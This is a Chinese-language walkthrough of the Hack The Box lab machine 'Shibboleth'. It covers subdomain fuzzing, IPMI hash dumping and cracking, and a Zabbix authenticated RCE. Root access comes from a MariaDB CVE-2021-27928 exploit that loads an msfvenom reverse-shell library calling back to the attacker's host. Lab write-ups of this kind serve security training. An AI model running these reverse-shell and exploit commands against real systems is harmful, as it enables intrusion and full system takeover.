本文最后更新于:2022年6月6日 晚上
端口 1 nmap -Pn -sC -sV -v 10.10.11.124
1 2 3 4 5 6 7 PORT STATE SERVICE VERSION80 /tcp open http Apache httpd 2.4 .41 |_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34 | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: FlexStart Bootstrap Template - Index
shibboleth.htb 主站是一个静态的前端界面,没啥搞头,然后扫描目录也无果,只能先放弃这个站点。
尝试爆破一下子域名,发现扫出来三个子域名,指向同一个站点。
1 wfuzz -u http:// shibboleth.htb -H 'Host: FUZZ.shibboleth.htb' -w /usr/ share/seclists/ Discovery/DNS/ subdomains-top1million-5000 .txt
zabbix.shibboleth.htb
点击最底下的help可以跳转到如下URL,可以发现是5.0版本的zabbix,考虑google或searchsploit一下对应的exp。
1 https:// www.zabbix.com/documentation/ 5.0 /en
在尝试了各种zabbix的常见漏洞后,我觉得可能我路子走错了,于是我回到主站点shibboleth.htb,然后拖到最后发现了一个Bare Metal BMC automation
是我之前没有注意到的(论信息收集的重要性)。
Google了一下能够发现zabbix的官方网站提到了IPMI,进一步在wikipedia找到了关于IPMI脆弱性的描述。
Rapid7的这篇文章可以在这里 找到。
可以通过nmap对UDP端口进行扫描来验证开启了IPMI服务,注意的是要设置 --min-rate
选项和 -F
选项,否则扫描的时间将大大增加。
1 sudo nmap -sU -sV - 10.10.11.124 --min-rate 7500 -F
当然Rapid7出品的msf已经集成了这个模块,首先是使用ipmi_version
模块查看IPMI模块的版本。
在确认是有漏洞的IPMI2.0后,使用ipmi_dumphashes
模块对其进行hashdump。
然后将dump的hash用hashcat进行爆破,能够得到密码是ilovepumkinpie1
。
1 hashcat .exe -a 0 -m 7300 hash "password.txt"
也就是我们现在拿到了一对凭据Administrator:ilovepumkinpie1
,拿着它可以登录zabbix。
登录后看下版本号,为5.0.17,刚好能和一个授权的RCE对上。
执行exploit即可拿到zabbix的shell。
1 python3 exploit.py http://zabbix.shibboleth.htb/ Administrator ilovepumkinpie1 10.10.16.10 4444
1 2 3 4 5 ┌──(kali㉿kali)-[~/桌面/penelope ] └─$ ./penelope.py -Q zabbix@shibboleth :/ $ whoami zabbix zabbix@shibboleth :/ $
0x02 user.txt 在/home目录下有ipmi-svc用户,里面有user.txt
。
1 2 zabbix@shibboleth :/home $ ls ipmi-svc
但zabbix拿不到,需要切换到ipmi-svc
用户。
1 2 zabbix@shibboleth :/home/ipmi-svc $ cat user.txt cat: user.txt: Permission denied
切换到ipmi-svc
用户后就能拿到user.txt了
1 2 3 4 5 6 7 zabbix@shibboleth :/ $ su - ipmi-svcPassword: ipmi-svc@shibboleth :~ $ whoami ipmi-svc ipmi-svc@shibboleth :~ $ ipmi-svc@shibboleth :~ $ cat user.txt d21ead8d************************
0x03 root.txt 首先看看zabbix关于数据库的配置,根据文档得知在/etc/zabbix/zabbix_server.conf
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ipmi-svc@shibboleth:~$ cd /etc/ zabbix ipmi-svc@shibboleth:/etc/ zabbix$ cat zabbix_server.conf | grep -v "^#" | grep . LogFile=/var/ log/zabbix/ zabbix_server.log LogFileSize=0 PidFile=/run/ zabbix/zabbix_server.pid SocketDir=/run/ zabbix DBName=zabbix DBUser=zabbix DBPassword=bloooarskybluh SNMPTrapperFile=/var/ log/snmptrap/ snmptrap.log Timeout=4 AlertScriptsPath=/usr/ lib/zabbix/ alertscripts ExternalScripts=/usr/ lib/zabbix/ externalscripts FpingLocation=/usr/ bin/fping Fping6Location=/usr/ bin/fping6 LogSlowQueries=3000 StatsAllowedIP=127.0 .0.1
拿到数据库凭据zabbix:bloooarskybluh
。登录之,查看数据库密码。
1 2 3 4 5 6 7 8 MariaDB [zabbix]> select alias,passwd from users; +---------------+ --------------------------------------------------------------+| alias | passwd | +---------------+--------------------------------------------------------------+ | Admin | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 | | guest | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 || Administrator | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe | +---------------+--------------------------------------------------------------+
可惜的是这部分最后似乎没啥用,一番探索后看看MariaDB本身是否存在问题,在searchsploit中找一下相关的exp:
然后看一下MariaDB的版本。
1 2 3 4 5 6 7 MariaDB [(none)]> select version();+----------------------------------+ | version() | +----------------------------------+ | 10.3.25-MariaDB-0ubuntu0.20.04.1 | +----------------------------------+ 1 row in set (0.000 sec)
再去exploitdb看一下版本,可以看到是符合的。
接着就是按照文件中的指示一步步走,首先生成so文件。
1 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.10 LPORT=8888 -f elf-so -o CVE-2021 -27928 .so
然后在目标机上下载该恶意so文件。
接着输入执行指令,获得root权限。
1 mysql -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
0x04 Summary 这是一个Medium难度的Linux靶机,主要考察内容如下:
子域名收集
历史CVE利用
hash破解
配置文件利用